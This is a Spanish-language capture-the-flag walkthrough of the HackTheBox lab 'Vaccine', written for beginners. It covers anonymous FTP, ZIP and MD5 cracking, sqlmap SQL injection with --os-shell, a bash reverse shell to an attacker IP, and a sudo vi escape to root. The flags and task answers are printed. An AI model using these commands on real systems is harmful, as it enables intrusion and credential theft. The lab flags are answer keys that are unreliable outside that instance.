Volver al laboratorio ~/iphobiuss/guias/04-vaccine

Vaccine

HTB LINUX VERY EASY SQLI SUDO

Guía para principiantes de Vaccine (Starting Point, Tier 2), la #4 de la serie y la primera de SQL injection. Una cadena larga y muy didáctica: FTP anónimo, cracking de un ZIP, un hash escondido en el código, inyección SQL con sqlmap, y una escalada por sudo. Incluye algo que ninguna otra guía trae: un capítulo entero sobre qué hacer cuando la shell no coopera, porque en esta máquina el verdadero jefe final fue el terminal.

Mi cuadernoFavoritos y lectura guardados solo en este navegador.El punto de lectura se actualiza al desplazarte.Cuaderno opcional no disponible.
En esta guía
Ojo con la VPN: Vaccine vive en Starting Point, que tiene su propia VPN, distinta de la de Machines que usan Cap, Knife y Forest. Descarga el .ovpn de Starting Point, no el de Machines. El resto del flujo de conexión es el de siempre (ver 00 · Setup). En esta guía la IP objetivo es 10.129.64.156 y la del atacante (tun0) 10.10.14.33; las tuyas serán distintas.
Resumen del recorrido (contiene spoilers)
01
RECON
FTP anónimo
02
CRACK
zip2john + MD5
03
SQLI
sqlmap · os-shell
04
FOOTHOLD
reverse shell · postgres
05
PRIVESC
sudo vi → root
Entorno y versiones documentadas
  • Kali Linux y VirtualBox: versiones no especificadas en la guía original.

Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.

Modo de lectura
▚

01 · RECONOCIMIENTO

Tres puertos conocidos, pero uno esconde un regalo.
PISTAIdentifica los puertos abiertos, sus servicios y versiones. Anota una hipótesis de entrada por cada servicio.
Ver solución paso a paso
Comandos / terminal
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.64.156
Salida de ejemplo
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Los mismos tres de Cap. ttl=63 apunta a Linux (pista, no prueba). SSH pide credenciales (cerrado por ahora), HTTP es la web. Pero antes de la web, el puerto 21 (FTP) pide un chequeo obligatorio.

REFLEJO: FTP ABIERTO → PROBAR ANÓNIMOCuando veas el puerto 21, lo primero es comprobar si permite acceso anónimo: entrar con el usuario anonymous y cualquier contraseña. Es un chequeo de 20 segundos que en muchas máquinas abre la puerta antes de tocar nada más.
▚

02 · FTP ANÓNIMO + CRACKING

Un backup protegido se ataca igual que un hash: offline.
PISTARevisa si puedes acceder sin una cuenta personal y qué archivos de respaldo quedan expuestos.
Ver solución paso a paso

Entrar y bajar el backup

Comandos / terminal
ftp 10.129.64.156
# usuario: anonymous · contraseña: (Enter, vacía)
ftp> ls              # -> backup.zip
ftp> binary          # modo binario, para que el zip no se corrompa
ftp> get backup.zip
ftp> bye

El 230 Login successful confirma el acceso anónimo. Dentro hay un backup.zip. Un "backup" es de lo más goloso: suele guardar código, configuraciones o credenciales.

El ZIP está protegido: crackearlo

Al abrirlo pide contraseña. Mismo problema que un hash, misma solución: extraer la parte crackeable y romperla offline con diccionario. La herramienta es zip2john (de la suite John the Ripper).

Comandos / terminal
zip2john backup.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash   # -> 741852963
LA FAMILIA *2johnHay un extractor por tipo de archivo: zip2john, ssh2john, pdf2john, etc. Todos siguen el mismo patrón: convierten un archivo protegido en un hash que john puede atacar.

Abrir el ZIP

Comandos / terminal
unzip backup.zip   # contraseña: 741852963  ·  contiene index.php y style.css
▚

03 · CÓDIGO FUENTE + MD5

El código de una web suele guardar sus propias llaves.
PISTALee cómo comprueba las credenciales el código. Identifica la representación usada para guardarlas.
Ver solución paso a paso

El backup.zip era una copia del sitio (index.php = la página de login). Leyendo el código aparece la comprobación del login:

Comandos / terminal
cat index.php
# ...
if($_POST['username'] === 'admin' &&
   md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") { ...

Usuario admin, y la contraseña guardada como hash MD5. Segunda vez en esta máquina que aplicamos el mismo reflejo: hash a la vista, se crackea offline. A john conviene decirle el tipo (Raw-MD5), porque un MD5 pelado se parece a varios formatos.

Comandos / terminal
echo '2cb42f8734ea607eefed3b70af13bbd3' > md5.hash
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt md5.hash   # -> qwerty789

Credenciales del panel: admin / qwerty789. El código también decía que un login correcto redirige a dashboard.php: hay un panel detrás.

▚

04 · SQL INJECTION

El plato fuerte de Vaccine, y el vector nuevo de la serie.
PISTAComprueba si el valor del parámetro modifica el comportamiento de una consulta. Conserva también la sesión autenticada.
Ver solución paso a paso

▚ ¿Qué es una SQL injection?

Cuando escribes en un buscador, la web arma una consulta a su base de datos con tu texto dentro. Si lo mete sin limpiarlo, puedes escribir no solo un valor de búsqueda, sino trozos de la propia consulta SQL, y la base de datos los ejecuta como instrucciones. Le "inyectas" comandos.

Confirmar a mano (una comilla)

Entra al panel (admin / qwerty789) y verás el "MegaCorp Car Catalogue" con un buscador. El test más básico de SQLi es meter una comilla simple y ver si la consulta se rompe:

Ejemplo de la guía
búsqueda:  '
ERROR: unterminated quoted string at or near "'"
LINE 1: Select * from cars where name ilike '%'%'

Ese error lo confirma todo: tu texto entra crudo en la consulta (tu comilla cerró la cadena antes de tiempo), y el formato del error delata el motor: PostgreSQL. La búsqueda viaja por GET en dashboard.php?search=.

Explotar con sqlmap

Confirmada la vulnerabilidad a mano, se automatiza con sqlmap. Necesita la URL, el parámetro, y tu cookie de sesión (el panel requiere login; sin la cookie, sqlmap vería el login). La cookie PHPSESSID se saca de las DevTools del navegador (F12 → Storage → Cookies).

Comandos / terminal
sqlmap -u "http://10.129.64.156/dashboard.php?search=Elixir" \
       --cookie="PHPSESSID=TU_COOKIE" --batch

sqlmap confirma la inyección con varias técnicas (boolean, error, stacked, time-based) y detecta PostgreSQL sobre Ubuntu. Con eso validado, viene la joya.

▚ De inyección SQL a shell: --os-shell

Cuando el motor es PostgreSQL y el usuario de la base de datos es DBA (administrador), sqlmap puede usar la técnica COPY ... FROM PROGRAM para ejecutar comandos del sistema. La opción que lo activa es --os-shell: la inyección deja de darte solo datos y te da una shell en la máquina.

Comandos / terminal
sqlmap -u "http://10.129.64.156/dashboard.php?search=Elixir" \
       --cookie="PHPSESSID=TU_COOKIE" --batch --os-shell
# current user is DBA -> 1  ·  os-shell> whoami -> postgres
▚

05 · FOOTHOLD · SHELL ESTABLE

La os-shell es incómoda: el primer objetivo es una shell de verdad.
PISTAYa tienes ejecución por la inyección, pero esa shell es incómoda. Úsala solo para dar el salto a una shell propia: deja un receptor a la escucha y haz que la víctima te llame de vuelta.
Ver solución paso a paso

Reverse shell desde la os-shell

La os-shell> funciona pero es lenta y no interactiva. Se usa solo para dar el salto a una shell propia, con la reverse shell de siempre (netcat a la escucha, la víctima llama de vuelta a tu IP y puerto).

Comandos / terminal
# en Kali:
nc -lvnp 4444
# en la os-shell> :
bash -c 'bash -i >& /dev/tcp/10.10.14.33/4444 0>&1'

Cae la conexión como postgres@vaccine. Foothold conseguido vía la SQLi.

Buscar la user flag y las credenciales

postgres es un usuario de servicio; su flag está en su home. Y el código del dashboard, que se conecta a la base de datos, guarda la contraseña en claro:

Comandos / terminal
cat /var/lib/postgresql/user.txt   # user flag
cat /var/www/html/dashboard.php
# pg_connect("host=localhost ... user=postgres password=P@s5w0rd!")
ESA CONTRASEÑA ES LA DE postgresEl P@s5w0rd! del dashboard no es solo de la base de datos: es la contraseña de la cuenta del sistema postgres (lo confirma que sudo la acepta más adelante). Reutilización de credenciales, el reflejo de Cap.
▚

06 · ESCALADA · SUDO VI

Un editor con sudo es una shell de root disfrazada.
PISTACompara los permisos habituales del sistema con los que tiene esta cuenta. Investiga los binarios que destacan.
Ver solución paso a paso

La vía limpia: SSH como postgres

Como P@s5w0rd! es la contraseña de la cuenta postgres, en vez de pelear con la reverse shell conviene entrar por SSH, que da una terminal de verdad desde el principio (clave para el paso siguiente):

Comandos / terminal
ssh postgres@10.129.64.156   # contraseña: P@s5w0rd!

Ver qué permite sudo

Comandos / terminal
sudo -l
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

▚ vi con sudo = root (GTFOBins)

El permiso parece inofensivo (editar un archivo), pero vi puede ejecutar comandos del sistema desde dentro. Si corre como root (por el sudo), la shell que abras también será de root. Es el mismo patrón de escalada de Knife (binario permitido vía sudo → GTFOBins, sección Sudo).

El escape a root

Abre vi con el comando exacto autorizado y, dentro del editor, escapa a una shell:

Comandos / terminal
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# si avisa de un swap file previo: pulsa la tecla 'e' (Edit anyway)
# dentro de vi, en modo normal, escribe:
:!/bin/bash
# el prompt pasa a #  ·  whoami -> root
cat /root/root.txt   # root flag
SUDO ES LITERALEl permiso era el comando exacto. Intentar sudo /bin/vi ... -c ':!...' lo rechaza: sudo compara carácter por carácter y cualquier argumento extra ya no coincide. El escape se hace dentro de vi, no como argumento.
▚

07 · CUANDO LA SHELL NO COOPERA

El verdadero jefe final de Vaccine. Esto no lo cuenta ningún walkthrough.
PISTADistingue una shell que ejecuta órdenes de una terminal interactiva. Comprueba qué necesita el programa que estás intentando usar.
Ver solución paso a paso

Una reverse shell no es una terminal "de verdad": le falta un TTY. Sin él, cosas interactivas como su, ssh o el escape de vi se caen con errores tipo no job control o Inappropriate ioctl for device. Estabilizar el TTY es el paso que lo arregla.

Estabilización completa de TTY

Comandos / terminal
# 1) en la reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2) pulsa Ctrl+Z  (suspende la shell, vuelves a Kali)
# 3) en Kali:
stty raw -echo; fg
# 4) pulsa Enter un par de veces
# 5) da contexto al terminal:
export TERM=xterm
MEJOR AÚN: EVITA LA REVERSE SHELLSi tienes credenciales válidas de un usuario con shell, entra por SSH. Una sesión SSH trae TTY completo de fábrica, y te ahorras todo el baile del stty. En Vaccine, entrar por SSH como postgres es lo que hace que el sudo vi funcione sin pelear.

Contraseñas sin terminal: sudo -S

Si sudo se queja de a terminal is required to read the password, puedes pasarle la contraseña por la entrada estándar con -S (aunque para un comando interactivo como vi igual necesitarás TTY):

Comandos / terminal
echo 'P@s5w0rd!' | sudo -S -l
EL BUG MÁS TONTO Y REAL: EL TECLADODentro de vi, la tecla que abre los comandos del editor (la de los dos puntos) no producía nada al pulsarla. La causa no era técnica: el layout del teclado de Kali no coincidía con el teclado físico, así que esa tecla escribía otro carácter. Se diagnostica probando teclas o se arregla de raíz con setxkbmap latam (o es). Cuando algo "imposible" pasa, sospecha también de lo tonto.
▚

TASKS · GUIDED MODE

Las flags son de una instancia concreta. En tu máquina serán distintas.
Mostrar respuestas del laboratorio

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

TaskRespuesta
Además de SSH y HTTP, ¿qué otro servicio hay?ftp
Usuario que permite login con cualquier contraseñaanonymous
Nombre del archivo descargado por ese serviciobackup.zip
Script de John que saca el hash de un ZIP protegidozip2john
Contraseña del usuario admin del sitio webqwerty789
Opción de sqlmap para lograr ejecución de comandos--os-shell
Programa que postgres corre como root con sudovi
User flag (home de postgres)ec9b13ca4d6229cd5cc1e09980965bf7
Root flag (home de root)dd6e058e814260bc70e9bbdef2715849
▚

CONCEPTOS NUEVOS (vs LA SERIE)

Lo que Vaccine suma a Cap, Knife y Forest.

GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.

  • GENERALFTP anónimo: puerto 21 abierto = probar anonymous con contraseña vacía antes que nada.
  • GENERALCracking de archivos protegidos: la familia *2john (zip2john, ssh2john, pdf2john) convierte un archivo en un hash atacable.
  • GENERALLeer el código fuente: los archivos de una web guardan hashes y credenciales (login, cadenas de conexión a la BD).
  • GENERALSQL injection: confirmar a mano con una comilla (ver el error), luego explotar con sqlmap (cookie incluida).
  • GENERALRCE vía SQLi: --os-shell cuando el usuario de la BD es DBA. La inyección da shell, no solo datos.
  • GENERALEstabilización de TTY: python3 -c pty + stty raw -echo; fg para que su/vi no se caigan.
  • GENERALSSH > reverse shell: con credenciales válidas, entra por SSH y evita todo el problema del terminal.
  • GENERALsudo respeta lo que diga la regla: mira el sudo -l y fíjate si autoriza solo el binario o el binario con argumentos fijos. Si incluye argumentos (como aquí, vi con una ruta concreta), sudo compara carácter por carácter y no acepta argumentos extra. Si autoriza solo el binario (como knife en Knife), puedes pasarle los argumentos que quieras.
  • GENERALvi/sudo (GTFOBins): escape a root con :!/bin/bash desde dentro del editor.
  • GENERALDiagnostica lo tonto: a veces el muro no es el exploit, es el layout del teclado (setxkbmap).